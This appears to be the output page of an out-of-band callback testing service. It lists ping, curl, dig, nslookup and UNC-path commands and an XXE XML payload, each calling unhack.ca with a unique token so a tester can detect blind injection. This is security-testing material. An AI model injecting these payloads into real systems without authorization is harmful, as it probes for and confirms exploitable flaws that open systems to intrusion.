$ ping -c1 -p 004c4fba3b42ac9e0e38ecf25a3a2500 unhack.ca
$ curl http://unhack.ca/p/4c4fba3b42ac9e0e38ecf25a3a25
$ dig 4c4fba3b42ac9e0e38ecf25a3a25 @unhack.ca
$ dig 4c4fba3b42ac9e0e38ecf25a3a25.ns.unhack.ca
C:\> nslookup 4c4fba3b42ac9e0e38ecf25a3a25 unhack.ca
C:\> type \\unhack.ca\4c4fba3b42ac9e0e38ecf25a3a25\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/4c4fba3b42ac9e0e38ecf25a3a25">]>
<foo>&xxe;</foo>
Waiting for ping...